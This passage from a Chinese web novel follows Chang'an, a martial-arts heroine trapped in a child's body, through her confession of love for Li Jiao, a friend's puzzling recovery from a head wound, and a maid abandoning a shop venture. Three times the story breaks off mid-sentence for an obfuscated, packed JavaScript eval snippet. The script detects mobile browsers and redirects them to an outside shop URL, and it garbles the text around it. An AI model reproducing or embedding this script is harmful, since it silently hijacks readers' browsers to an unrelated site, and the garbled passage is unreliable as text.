平安身上的衣裳也不像白日里那般规整,领口比平时稍稍开得大了些,显得颈子更加修长,昏黄的灯光下,她反而更加白皙美丽。气喘嘘嘘的,显然是匆匆穿上衣服,就急急跑了过来。这副出尘的样子让人简直移不开眼。 平安原以为只有我和刘橡,却见齐王也来了,就不好意思起来,红着脸往门内躲了躲。 齐王回过神来,也不好意思起来,不动声色地退下台阶,侧过身去。 正要上前送香的刘橡,顿住了脚步,他是很敏感的,一下子就看出了平安胆怯和羞涩,自觉做错了事,有些不知所措。 我对刘橡说:“你看平安是不是发怯害羞了?” 刘橡噘着嘴巴低着头,像个犯了错心生愧疚的孩子。 平安露出头来,粉嘟嘟的脸上还未退去的红晕衬得她宛若出水芙蓉,她呵呵笑着说没关系,劳烦大橡这么晚跑这一趟,实在有心了。又道了声谢谢,就伸着玉手等刘橡把香炉递给她。 刘橡乖巧的将香炉递到平安手上,等她拿稳才松开手,然后看向我。我呵呵一笑,夸他做得很好,跟平安说:“这是七皇子担心你们姑娘家家被蚊虫叮咬,特意为你们篆的荔枝香。” 平安隔着门板惊讶不已,福身谢恩,直说香是很难篆的,问了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309873|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两遍确定是刘橡亲自做的,连连称赞刘橡细心又贴心,还说这荔枝香真好闻,她十分喜欢。 刘橡听了咧着嘴傻笑。 我教刘橡说这么晚打扰姑娘,要跟姑娘说唐突了,道一声抱歉,然后告辞。刘橡一一照做。 回来以后,刘橡就再也无心下棋了,趴在轩窗台上,托着脸看着星空,听着隔壁姑娘们的欢歌笑语,不知道在想什么。 我伺候齐王喝药,然后为他针灸穴位调理身体。见刘橡安静乖巧,便没有打搅他。刘橡疯起来确实骇人恼人,但是大多时候很可爱。我早说过他是妙人,只是可怜魂魄不全。 也不知道我交给薛环的差事办得怎么样了,不过那药引子……等着吧,反正也这样过了这么多年了,不在乎再多等等。 忽然,隔壁花铁铁又诗兴大发,传来她的大放厥词,好在她没吟诵几句,便被平安和翡翠阻止了,不然我和齐王真得会很尴尬。 可是会尴尬吗?应该不会吧,我,只是个长不大的残疾而已…… 刘橡喝完药,也睡下了,睡前想起我送他的糖人儿,又念叨了一会儿。等他睡熟,我便出了丛芳园,先去汤泉宫正宫寝殿,给皇帝刘景调息内力,然后去兰池宫把刘橡插在床头的糖人儿拿来插在他床榻边上,明早他醒来看见,得有多开心啊。想到这里,看着他俊美乖巧的睡靥,我不禁勾唇轻笑。 比起睡眠,在汤泉里运行内力更加滋养我们的身体,都安顿妥当,我就去找花铁铁潜到汤泉池底,对坐合掌运气。 有花铁铁带着,我的内力恢复很快,从七成到了九成。 二更天,练完功,我们飞身出了汤泉宫。今日李椒休沐,昨个儿伺候太子用完晚膳他就出宫归家了。 “铁铁,我有个秘密告诉你,是连平安都不知道的事儿,只告诉你。”我带着花铁铁进了长安城,坐在一处大户人家的墙头上,看着远处坐落于深宅大院中的一个古朴的小苑。 夏季昼长夜短,东方破晓,三更天一到,我心里的那个他,果然起身到天井里练武。 “我喜欢他,很喜欢很喜欢……”我边说着边用下巴指了指那个少年,示意花铁铁看。 李椒的功夫真是越来越俊了,我看得着迷。 花铁铁想起我之前给她说媒的事儿,不惊讶我喜欢他,而是惊讶于“你喜欢他还把他哥俩儿都说给我相看!”于是脱口而出。 先介绍的他哥,你不是不同意吗,所以才忍痛割爱的好吧!再说……“我,对他,也只能到喜欢为止了,不是吗?”嘴里忽然有些苦涩,我却呵呵笑了笑,打量着花铁铁,漫不经心道:“但凡我和你一样,我也和他成了,你就只能相看他哥,愿意受点委屈的话,还能给我们当嫂子,我还得代我大伯子哥,向你说声承蒙不弃……” “果然啊果然,传言也不都是空穴来风,多少有点影儿,我就说上郡的衣冠冢有些来头,呵,谁没事随随便便疯癫了立那个,他倒是痴情,配,配得上……”花铁铁说着说着,忽然顿住不说了,吸了吸鼻子,微微红了眼圈,别了别头,道:“你都这样了,你还说笑,你这病,真的好不了了吗?” 8. 相看 “好不了了,我这辈子也就这样了。你不要为我伤心难过,我早都看开了,我自己都不抱希望了。”我说得风轻云淡的样子,还不忘安慰一脸愁容哀伤的花铁铁,低头叹了口气道:“唉,我和他呢,连有缘无分都谈不上,又生了误会,我们误会不小,很深很深,他如今恼我怨我憎我恨我……我呢,我也不打算解释了,我这样子,不解释反而好,对吧!?” 初升的朝阳温柔可爱,我却觉得有些刺眼似的,晃得我忍不住眨巴眼。 花铁铁沉默了好一阵儿,和我一起看着远处练武的少年,各自陷入各自的回忆,“……我也跟你说一个秘密吧。” 交换秘密就是承诺对方,会坚决保守秘密的意思! 花铁铁够仗义! 我忽然有些紧张起来,祈祷着是那个我希望听到的秘密…… “我啊,我心里,其实也有人了,好,好多年了……”花铁铁声音忽然哽了哽,仿佛有什么东西突破心口的闸关,一涌而出,她最近似乎养成了吸鼻子的习惯,眼圈动不动总是喜欢泛红,鼻子老是一阵阵儿发酸。 花铁铁她最不喜欢哭的,她十分讨厌这种感觉,努力克制着。见我正转着眼睛思考,轻笑一声,用胳膊拱了拱我,道:“别猜了,你猜不到的……是……杜晦,哈哈,没想到吧,我藏得好吧!?” 我知道,我一直都知道。 听到想要的秘密,我明明松了口气,可却故作惊讶,瞪大了眼睛,一副不可置信的样子,朝花铁铁夸张的点点头,确定自己没听错。 花铁铁很满意我的反应,傲娇地仰着下巴,道:“没错,就是杜晦,麒麟杜晦,武林盟主,杜,晦……瞧,我多会藏啊,我藏得多深啊,你不知道,他也不知道……那个傻子,到死……到死都,都不知道……傻子,大傻子……怎么就给人害成那样子了,其实毁容了也不要紧的,我不在意的……大傻子,做什么非得去死呢……” 花铁铁说着说着,泪水就像断了线的珠子,再也止不住了。可她是坚强的,她只允许自己稍许柔弱。我不会说任何话,去安慰她的,那样只会让她有种被同情的羞耻感。更不会说让她别哭,让她看开之类的毫无作用,甚至起反作用的场面话。她需要纾解。 我张了张嘴,语气有些颤抖:“傻瓜,都是大傻瓜,杜晦是,你也是,我喜欢的人也是。他也都还不知道我其实是喜欢他的。咱俩啊,都太会藏,都藏得太深。只是我是不得已的,若我如你这般长成了,我才不藏着,我一定早和他好上了。”我轻柔地帮花铁铁拭去泪水,语气带着责备,花铁铁听出我的话外音是嫌她有爱不早说,现在什么都迟了。 “你也是傻子,比我傻,你和李家二爷,蛛丝马迹的,我还隐约能猜的出来,可我喜欢杜晦这事儿,我要不说,你怎么也不知道的。”花铁铁向来嘴硬,不允许自己低下高傲的头颅。“你不懂我,你也不懂爱,喜欢一个人就是要藏得好好地,要是两情相悦就是惊喜,要是剃头挑子一头热,就当没喜欢过,要不是你先跟我说了你的秘密,我喜欢杜晦这件事儿我才不漏风,我是要带进棺材的。” 傻瓜,爱怎么可能藏得住呢?我又不是你和杜晦当局者迷,我早就看得出的,所以铁铁,关于杜晦的事儿,很多事儿,我都不能和你说,你这么深爱他,有些事你知道了会受不了的。 你不让我骗你,所以,关于他,我打算一辈子不和你说。对不起,铁铁!不必原谅我! 我对李椒是深深地喜欢,哪里及得上你对杜晦的深深痴爱……不用“秘密”交换秘密,你怎么肯把心中的块垒都说出来呢。 武学最讲究心无旁骛,练功的时候,我就感觉到你胸中郁结,虽不易察觉,但倘若不及早疏散,生根发芽,他日必成隐患,走火入魔,折损修为事小,魂飞魄散,道消身死事大。 我自然对花铁铁一番崇拜仰慕,夸赞她真的很能藏,自愧不如,要多向她学习云云,以此掩盖心中的愧疚和担忧。 忽然一道十分阳刚的内力向我们袭来,花铁铁抬手一挡,内力破散开来,李椒已经飞身到了我们眼前,负手而立,身姿挺拔,玉树临风的样子,帅气十足,他微微抬起俊俏的下巴,仰头看着坐在墙头的我和花铁铁,冷声道:“你们来做什么?” 花铁铁在耳边低声道:“人长得好看就算了,声儿还怪好听的。”挑了挑眉,赞许我眼光不错的样子。 我蹙眉推了推花铁铁,让她别没个正形,怯怯地看了一眼李椒,拉着她赶紧走。 不料花铁铁根本不顾我拦着,态度极为倨傲地对着李椒,反问道:“哼,做什么?!” 花铁铁看在我的面子上,是不会跟李椒硬刚的,缓了缓神色,吊儿郎当的抱臂,居高临下的盯着李椒,随意荡着修长的美腿,道:“听说二爷至今尚未婚配,长安和二爷您也是旧识,正好牵线搭桥儿,让我来相看相看,给二爷您,做老婆呗!” “你!”李椒气得眉头紧锁,指着花铁铁说不出话来,只黑着脸看了看我,咬了咬后槽牙。 花铁铁很满意李椒的反应,仰头哈哈大笑。 我瞪了一眼花铁铁,暗骂一声,却往花铁铁身后躲了躲,避开李椒的视线,拉着花铁铁,催促着赶紧离开。 花铁铁用胳膊挡在我身前护住我,对李椒道:“二爷莫急,莫急,放心,我没看上。” 李椒心口又是一堵,指着我们的手,握成拳头,打了一记空拳,收回身后,关节发出咯咯的响声,他强装镇定道:“看完了吗?还不快走!” “哟,还真是有教养的世家子弟,哎长安你听见没,他叫咱们快走,不是叫咱们快滚呢!”花铁铁一副很没见过世面的样子,侧头在我耳边道。 我看了看气得浑身发抖的李椒,很心虚地缩了缩脖子,拉着花铁铁的胳膊,叫她别废话了,那不是个喜欢开玩笑的主儿,呈口舌之快,惹恼了他可不好。软糯糯地细声催促央求道:“走吧,走吧,铁铁,咱们赶紧走吧,再不走,真该叫咱们滚了。” 花铁铁瞪了李椒一眼,嘟囔道:“至于吗,这么气,瞧那凶神恶煞的样子,瞧给我们长安吓得,走!” 说罢,花铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309874|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁带着我向后一倒,消失在黎明的曙光里。 看着空空的墙头,李椒心也跟着一下子空了似的,痴痴地看着墙头,久久不肯离去。“还真带着来相看!”李椒轻飘似梦的声音听起来有些苍凉。 须臾,花铁铁又翻身回去,趴在墙头上只露出脑袋,刚好对上李椒失落的目光,抓人家一个现形,花铁铁得意极了,不禁嘻嘻哈哈笑道:“哟还没走啊,二爷,这是……舍不得我吗?” 我在墙外,闻言瞬间汗毛直立,我能想象到墙那边的李椒得气成什么样子,这个花铁铁实在太过分了,花铁铁就是这样,要是我和李椒没什么,她倒规矩得很,也想不着要去戏弄人家李椒。 可是亲口听我说喜欢李椒以后,她便顽皮起来,无论如何都非要招惹一下李椒,她这种行为,跟民间姨子惹姐夫戏妹夫一样的,就是纯属玩笑。 花铁铁方才兴致忽起,非得敛去气息,杀个回马枪。李椒还果然给她“杀”到了。花铁铁这下更加确定了他的心意,日后必定变本加厉的戏耍。 我的天爷啊,花铁铁你可得悠着点儿,作死,别把我搭进去了。 我恼怒地扬起手在她的脚上打了一下。好在花铁铁也是个有数的,撂下话,不等李椒恼羞成怒,便下了墙头,携我一起飞身离开,她得逞了自然心中欢喜,咧着大嘴,呲着牙,也不怕灌了一肚子风。 而那个傻子,后脚随即一跃上了刚才我们坐过的墙头,想追上来,却迟疑了,紧紧握着拳头,就那样气着,恨着,盯着我们远去的身影…… 后来好长一段时间,花铁铁总是惋惜感慨,说:长安,你都这样了,他还没放下你,是个有情有义的,要是你没生这种病就好了,李椒倒是个良人。 良人吗?他确实是,可我不配!而且,那算什么情意呢?在他眼里,我都不是个女的…… 唉,一团乱麻,我们误会深着呢,不是我懒得和花铁铁说清楚,实在是我也不知道怎么说,我这样子,好多事情说了不如不说,我好生烦恼。呵呵,真是好笑,没有少女的身子,却有少女的烦恼呢! 偏偏花铁铁打破砂锅,我推脱说都是些陈芝麻烂谷子的事儿叫她不要打听。她哪里肯,我被她缠得难受,就简单说了一下我和李椒的事儿,说我们在上郡的情窦初开,说我们在学宫再遇后的误会。 “所以,他现在对我是没有你想的那种心思的,一个正常的大男人怎么会对一个小小年纪就心怀鬼胎,‘男扮女装’欺骗他玩弄他,后来遭了报应长不大的‘残疾男童’有那种感情呢?”我淡淡地道:“他对我只有怨恨,除了怨恨,我想不到还能有什么?” “你确定他不知道你是姑娘?”花铁铁回想着李椒的神色,对我的话表示质疑,这都能误会? “切,我算什么姑娘?”我低头冷笑一声,自嘲道。嫌弃得给了她一个李椒确定不知道的眼神,算是回答了她多余一问的问题。 花铁铁一脸我当局者,她旁观者的样子,用过来人的语气,意味深长道:“我瞅着他对你可……不一般……真不一般!” 9. 薛环 “不一般什么啊不一般?那是恨,是恨!”我心里揪得疼了,面上却越发蛮不在乎的样子,道:“就算他知道我在性别上没欺骗他,又能怎样,我如今这个样子,他能怎样?就算小时候在上郡我们之间那些情愫算得上是情份,如今又能怎样?我是个童儿身,是个残疾,我能怎样,他能怎样?他是正人君子,光洁如玉。”他不会那么龌龊的。 所以,我和他,我们除了误会,怨恨,憎恶……什么都不可能有!我在他眼里,就只能是个狡诈奸猾,阴险卑鄙,攻计于心,城府颇深,诡计多端,心狠手辣,腌臜下作,喜扮女装骗无知少年感情的江湖恶童。 花铁铁听我说完,长长叹了口气,许久,点点头道:“行,感情都不顺,谁也没比谁好,谁也没赢过谁,平了。” 听到“行”的时候,我就“嗯?”了一声,惊得瞪着大眼不可置信地看着花铁铁,倒吸了一口凉气,听到最后我简直震惊得不断倒吸,要把自己吸抽过去了! 这!也要比吗?!不是,我都把自己说成那样子了,那么不堪,那么不符合事实,你不应该安慰我,劝我不要妄自菲薄,坚定的告诉我,我根本不是我说的那个样子,然后找一堆好词好句夸赞我鼓励我吗?怎么还比上了?还比这个? 我去,我脑子有些乱——我们向来不是比武功,比做任务的吗?我们之间还有这么一个赛道吗? 这个花铁铁,我真是无语死了,我能感受到她对我的遭遇和无奈感同身受,心中暗暗感动,道她不愧是我的知己,感慨天底下这么多人,有些话我果然只能跟她诉说。但这个时候她却冷不丁地忽然说这种话,就算是要岔开话题,是不是也太不合时宜了。 这是不是就是柳花郎说的“脑回路”不正常?!那我倒是有些同情她了,毕竟脑子不正常这种事情,和刘橡魂魄残缺情况差不多,患者一般是无法自知自控的。 “做什么一脸同情的样子看着我,你比我好哪去吗?”花铁铁对上我的眼神,瞬间有些炸了。 我自然矢口否认是有在同情她,咬死是她看错了。 早膳后,我们一行人去花小楼,平安,花铁铁和翡翠她们三个,兴致勃勃地找李大娘子带着看铺子。她们的店面自然是开在贵族聚居的东市那边儿,且得逛呢。我不打算跟着,平安也不想我跟着,没得说些狗嘴里吐不出象牙的话来,惹她生气,她现在是要做生意的人了,讲究和气生财,不能让我触她霉头。 花小楼这会儿将将开门,姑娘们和留宿的客人们也都起身了,一番纸醉金迷激情过后,难舍难分余情待续的景象。 花小楼的姑娘们都是自由身,和教坊司里的不一样,李大娘子也不拘着她们一定要做什么,一定不要做什么,卖艺还是卖身向来都是她们自己说了算的,只要两情相悦,你情我愿,稳赚不赔,姑娘们愿意结交些入幕之宾,留宿恩客也是寻常事。 平安带着花铁铁和翡翠从后角门进来,顺着夹道进入李大娘子的私人会客厅等着,我尾随其后蹲在会客厅门口,把翡翠叫了出来。平安从门缝里见我们嘀咕,好奇地问做什么,我只道叫翡翠给我稍点松子,东市有家铺子的松子品相很好。 平安不信,花铁铁哼哼道:“她还能干什么?肯定是叫翡翠给她偷着买糖的。” 我不乐意地瞥了一眼花铁铁,大有心思被拆穿的恼羞。大抵是昨夜太能折腾,这会儿很想打个还欠,但我觉得实在不合时宜,就咬牙忍着,却不料忍得一脸憋屈模样:眉头紧锁着,鼻子一抖一抖的,眼角竟不小心闪出泪花。 我意识到以后,便努力调整,于是表情逐渐近乎扭曲,再三折腾,还是有些拧巴,倒也能看了:三分倔强,三分不屑,还有四分对她们失望至极的样子。 平安和花铁铁见识了我那五彩斑斓五花八门的样子,哈哈笑起来,花铁铁捂着笑抽筋的肚子,趴在平安肩头,上气不接下气,“知道我为什么这么喜欢惹她生气了吧,瞧见了吗,她都不知道她生气的时候有多可爱。” 内室的李大娘子,扬声问什么这么好笑。 平安一五一十地说起来,于是几个女人对我又是一阵打趣,无非两点:我满口残兵败将的牙齿和心眼子都用在偷吃糖上了。 我不理会她们,只再三叮嘱翡翠。 翡翠有些走神,看着楼里那些领口微微敞着,懒起顾不得理弄残妆,拿了额外的赏钱后,用男人看着花容月貌女人看着鬼迷日眼的笑靥,男人听着勾魂吸魄女人听着淫~腔浪调的语气千恩万谢,讨好谄媚送别客人的姑娘,心烦意乱地蹙了蹙眉头,满脸心事,回过神来才对着我点点头,应下我的要求,快步转身进去。 察觉翡翠的异样,平安不放心地对翡翠道,买松子可以,买糖就不可以。 我闻言气得一跺脚,转身走了。 李大娘子一番梳洗打扮,就和她们说说笑笑的出门啦。 我去到花小楼后院薛环住处找他,没在,薛环的小兄弟们也不见踪影,找了一圈,打听才道,说是前两日薛环跟人发生争执,打了起来,叫人开了瓢,送去苏和的药庐了。 我问那些人具体什么时候的事儿,有说前日的,有说昨日的,还有说好几天了,只道是傍晚时分,具体哪一天那些人说不上来,便哈哈打马虎眼,忙着上工去了。唉,毕竟没人会真正把别人的事儿放在心上,平时相处的都不错,都亲亲热热称兄道弟的,到底都是些泛泛之交没什么情份可言,出了事儿,就看出来了。 哟,前两日的事儿,到现在都没送回来,那这瓢开得是有够严重的。我心中犯嘀咕,昨晚上来花小楼玩儿就没见着薛环,还以为他去万园街别的园子挣钱去了,马上就恢复宵禁了,他趁着这几日赶紧搂钱,顾不上我交给他的事儿,也是人之常情,不想却是给人打了。 花小楼人员众多,薛环这种小人物的事儿,还够不上李大娘子知道,能把人送到苏和药庐救治,便已经是看在李大娘子,柳花郎等人的情面上了。 我出了花小楼,快步走向惠王的马车。齐王一边迎我上车,一边问:“咱们也去东市吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309875|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “去东市,去东市……”七皇子刘橡开心雀跃地重复着。 我按住刘橡,心事重重地轻声道:“不去,去我大师兄的药庐。”惠王立即吩咐马夫。 刘橡一听去药庐,就紧张起来,瞪着大眼见看我,努力做出他很乖很听话的样子。见我没回应,就举起怀里装蛐蛐的小罐子,挡在眼前,躲在后面,仿佛这样我就看不见他了。 我抬手按下那只他走到哪抱到哪的精美的小罐子,轻轻拍了拍他的手,呵呵笑道:“不是去给你治病抓药的,是去看望一下我师兄,顺便探望一下薛环。” 刘橡听了松了口气,然后又开开心心起来,“去药庐,去药庐,看师兄,看师兄……薛环是什么?” 齐王和惠王也都好奇的看向我:“薛环怎么了?”他们对薛环也是熟悉的。 我有些担忧的样子,对刘橡道:“薛环是我的小友,跟人打架,被开瓢了……哦,就是脑袋给人打伤了,送去我师兄那里了,应该伤得不轻啊。” “打架不好,母妃说不能打架。”刘橡义愤填膺的样子:“你见到他,要好好教教他,以后再不要打架了。” “好,大橡真懂事儿!”我赶紧使劲儿夸赞。 药庐是救死扶伤的地方,病患众多,贵人们不适合涉足,我自己一个人进去,须臾就出来了,苏和忙着治病救人,没太多功夫理我,只他的徒儿们接待了一下他们的师叔我,而且一切如既往的问题众多,我好不容易脱身。 上了马车,惠王问:“薛环如何?” “走岔劈了,师侄们说他原本伤得很重,昏睡了一天两夜,原本以为没救了,今早上忽然间醒来,没事人一样,看着只像一般的皮外伤似的,吃完早点,我师兄给他把了把脉,确定没事,原打算再继续留他观察一段时日,他自己非要走,便回去了,刚走。”我心中疑惑不已,一脸思索。 这时师侄跑出来,到马车旁将薛环的医案递给我,我看了看,也连连称奇,“前天傍晚?”正是太子遇刺的时候,“创口一拃长,在后脑,深见骨,骨有碎折,失血升余,呕吐昏迷,浑身油汗,肤凉如席,脉相近无,气若游丝……我擦,都绝汗绝脉了!伤这么重?都要死了,好了?回去了?”我惊得爆了粗口。 师侄狠狠地点点头,表示他们一大早上也跟见鬼了一样。我合上医案,交还给他,问:“我师兄怎么说?” “师父叫我们如实记录,其他的什么也没说。” 我道:“别光记在纸上,也要记在脑子里,受的伤多重,怎么受的伤,受伤后的反应,用了什么药,用了几次药,怎么用得药……等等都要记在心里,这种奇特的案子,以后再遇上,也好心中有数,坦然救治,不至于脑袋空空,慌了神儿,见多识广就不会武断下定论说没救了,叫伤患家里准备后事,凭白误了人命。虽然不知其理,暂且依样画葫芦,好好救治,或许待病人昏睡些天,某个早晨便如薛环一般自己好了。这种病例有一就有二,多学多看多研究,总会明白其中奥秘。” 10. 背刺 我再三嘱托师侄,好生保管医案,多录几份,传将下去,就算这一代人,下一代都研究不出其中医理要义,后人也总会研究明白,以便恩泽济世千代万代,这便是师传的意义。 师侄恭恭敬敬的记下,行礼送我们离开。 薛环这小子,还真是命大,是个奇人了,一般这种头部重伤,都死定了,他却只昏迷了两日,就如常人一样行动自如……哎,这是什么情况?我得找这小子看看去。 又是一阵车马劳碌,马车还未停稳,我就跳了下来,风风火火跑进花小楼,却道薛环没回来。我去,那这小子去哪儿了?我拍额道:“哎呀,忘了,咱们是马车,他是腿儿着,哪能这么快?” 惠王呵呵一笑,叫人沿途去接应薛环。我们去花小楼包间里听曲儿喝茶等着。刘橡抱着他的小罐子,心事重重的样子。不疯不闹就是好孩子,医者不能过度干扰。 岂料薛环就像人间蒸发了一样,惠王的人顺着路找了几个来回,又翻遍了西市万园,街坊也细细寻了,就是没有薛环的踪迹。问他的那些小兄弟,也只说一早出了药庐就分开了,便不清楚了。 我心里有些着急起来,匆匆下了楼,这时李大娘子回来,我还疑惑这么快就定好铺子了,谁知她拦下我,说是平安快要哭死了,已经出城回丛芳园了。简直乱上添乱,我闻言立即按捺不住了,关心则乱地一个劲儿追着她问怎么了,李大娘子却道她一个外人说多说少都不好,叫我别在她这儿问那么多,赶紧回去看看。 当然是妹妹更要紧,薛环就交给惠王的人和捕快去寻吧。 雪貂宝宝的出生,冲散了一切悲伤和愤恨。可是平安红红的眼睛,证明她的的确确大大哭了一场。 平安和花铁铁回来的时候,雌貂儿已经生产完了,正奶着貂宝宝,雄貂儿忙前忙后的,一会儿舔舐貂宝宝,一会儿舔舐雌貂儿,一会儿叼些食物给雌貂儿吃,还嘴对嘴的给它喂水。 雌貂儿生育十分辛苦,大概真是渴了,不停地舔舐雄貂儿的嘴巴,感觉都给雄貂儿舔变形了。可雄貂儿却越发尽职尽责地一遍遍地来回取水。两只貂儿如此亲昵,简直羡煞人。 平安看着,觉得雄貂儿辛苦,就把装食物和水的托盘,往它们软窝边推了推,这样雄貂儿不用出窝,只需要伸头出来就可以取到食物和水。 花铁铁“啧”了一声,觉得平安多此一举,实在不解风情,人雄貂儿就愿意这么辛苦。果然再次出窝的雄貂儿,一看托盘离得这样近了,非但不喜,反而愣住了,趴在软窝边上一动不动,不知想什么。 平安在花铁铁的催促下,试探着将窝拉的远一点,直到拉回刚才的位置,雄貂儿才又忙碌起来。 平安十分不解。 花铁铁一副吃过的盐比旁人吃过的饭还多的样子,老成道:“男的,都需要一些所谓的困难来证明自己很有用,尤其是在生育上,男的除了一开始出点种子的时候挥汗如雨过,其他的是一点儿也使不上劲儿,就更需要借助外力保持好自己高大又伟岸的好丈夫好父亲的形象。所以有困难上,没困难也要制造困难硬上狂上使劲儿上,不然还有什么存在的意义和必要吗?” 也是,孩子是女的辛辛苦苦怀胎十月生的,生下来还要辛辛苦苦的养育照顾,男的若不忙前忙后,辛辛苦苦的养家养老婆养孩子,好吃好喝好伺候着,当真是没有一点用了。 平安问我不是说雪貂会叼着新生宝宝找她认主的吗,怎么毫无动静。 我道:“不要着急嘛,刚出生,一个一个粉肉团子一样,皱皱巴巴的怎么叼出来见人?怎么也得等到能睁开眼了,长全毛了,可爱一点儿好看一点儿讨人喜欢了,才叼来给你看的。嗯……怎么也得等出月子以后吧?”至于雪貂要坐多长时间的月子,我也不清楚。 平安想了想也是,做父母的都会把孩子最好的最讨人爱的一面展示出来,她养猪长平的时候也是这样。 我问翡翠去哪了,回家了吗? 平安闻言,眼圈儿一下子又红了。 “怎么?吵架了?”我问。 花铁铁见平安哽得说不出话,便帮着解释。原是李大娘子带着她们去东市看了几家店铺,路过平昭公主府那条街,翡翠就提议说去看望一下她们的旧主平昭公主,李大娘子和花铁铁自然是不能跟着进公主府的,便等在马车上,谁知最后竟然是平安一个人回来。 平安微笑着和公主驸马告别,上了马车,不等李大娘子和花铁铁询问翡翠的去向,平安就变了脸色,伏在膝上呜呜哭起来…… 平安这会儿才道是翡翠主动提出要留在公主府上伺候怀孕的平昭公主。 “那你们还开店吗?”我弱弱地问。 “那还开个屁啊。”花铁铁气道:“还不动声色的选了几家铺子,装模作样的,打算拿拿劲儿,把价钱再压一压,这回好了,可不用动什么脑筋,想什么招了。这个翡翠,临阵脱逃,这不是背刺吗?” “哎呦,她本来和平安就是平昭公主从小养到大的人,人一开始也只是惠王调过来陪伴平安的,这会儿怕是见平安身边有你这么一个十全十美的人陪着,就回去旧主身边另寻好出路了呗。” 十全十美?花铁铁嘀咕着,觉得我对她的评价十分中肯,满意的扬了扬下巴。 我接着对平安道:“那原本,惠王身子不好,平昭公主又是寡居,后半辈子能依靠的也就只有关系还不错的太子殿下,于是学着她姑姑长公主刘婉的招数,好吃好喝好教养的藏了一批美人儿在府上,以后嫁入世家或者纳入王室,都好相互照拂,不至于势单力薄。更有送进宫的,但凡有一个有出息的,那就了不得了,她便有所仰仗延续恩典富贵。那些姑娘们也都是知道平昭公主养着她们是什么用途,心照不宣,权当为彼此日后铺路。” 我安抚着默默抹眼泪的平安,“你也很清楚的不是吗?要不是我给惠王治好病,平昭公主放你出来,你和郑清的事儿还真不 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我心道:大概,翡翠一路上也没少旁敲侧击,可能是你实在油盐不进,一根筋儿非要开抹胸铺子,翡翠怕两头不讨好,原本也正好有了新打算,于是便及时抽身了。平昭公主用心养大的姑娘,哪一个儿是简单的呢? “那……那我的松子呢?”我故作有些失望的问道。 花铁铁扔给我一个精致的小袋子,“少不了你的。翡翠忘了,还有我呢。”花铁铁一副翡翠不担事儿,干啥啥不行,逃跑第一名的样子。 今日我假装托词要翡翠给我买松子,不过是让她帮我再劝一下,如今她直接釜底抽薪,置身事外,倒也成了事儿——平安的店,肯定是开不成了。 我扯开袋子口,欢喜地吃着松子,随手撒了一些在地上,雄貂见了,就过来一个一个不辞劳苦地搬运回软窝,一个一个垒到雌貂眼前儿,给自己的妻子展示自己的劳动成果。 我忽然瞧见平安一副激流勇进的样子,似乎在暗暗发力,重燃斗志。不行,我得再添把火,别最后平安为了要证明自己就算没有翡翠,也能把店开起来,带着花铁铁硬开,那就不好了。 “翡翠是个聪明的,也是个有心气儿的,约么是今早在花小楼,看见楼里也有各别姑娘是穿着蕾丝抹胸的,就多心了,打了退堂鼓。”我道。 “多心?多什么心?难道我赚了钱会少了她的?”平安自觉自己对待翡翠可比李大娘子对待那些姑娘们更加实心实意,分红的时候自然少不了翡翠的。 见平安没领悟到我的话里话,于是我耐心解释道:“钱不钱的她不在意,她在意的是地位是身份,你想啊,她以后是要进宫的,就算进不了宫,以后公主也是要给她安排好人家的,非富即贵,那些达官贵人老爷大爷公子哥儿的,总会去那些风雅之地散散心,在外面见识了那些姑娘的贴身之物,回到家里又看见床榻上自家女人身上穿的同是此物,该当作何感想?岂不是不自知不自觉的便把她们归为同类?” 11. 道道 花铁铁暗骂男人都一副尿性。 我对微微发呆的平安柔声道:“你也说过的,不怕事实就怕脑补,尤其是这种事情,稍一脑补就过分,家花和野花一样野,男人可最受不了这个,只是想想心中便生了厌恶,如此轻贱了翡翠,恩宠不再,可怎生是好?” 谁家夫君在外面喝完花酒回来,扒开自家夫人的衣襟一看,映入眼帘的贴身小衣和楼里那些千人骑万人压的姑娘撞了衫,谁心里不膈应得慌啊——越是美得和天仙一样,越是千娇百媚勾人心弦,男人心里越是堵得慌,仿佛一点朱唇万人尝的是自家女人。不得发了疯似的给扯下来撕得稀烂啊! 男人面对要和自己携手共度一生的女人,心里是不能有疙瘩的,有了疙瘩,还怎么心无旁骛,开心愉悦的过夫妻生活啊?断绝了夫妻情爱,翡翠这一辈子该如何舒心顺畅的过活?那男人又阿猫阿狗的都往家里领,深宅大院就怕人多,翡翠有了软处被拿捏着,不给人欺负死了吗?即便是当家主母,也得受一辈子窝囊气不是?小小一个贴身的抹胸便惹出这许多纠葛,太不值当,太憋屈。 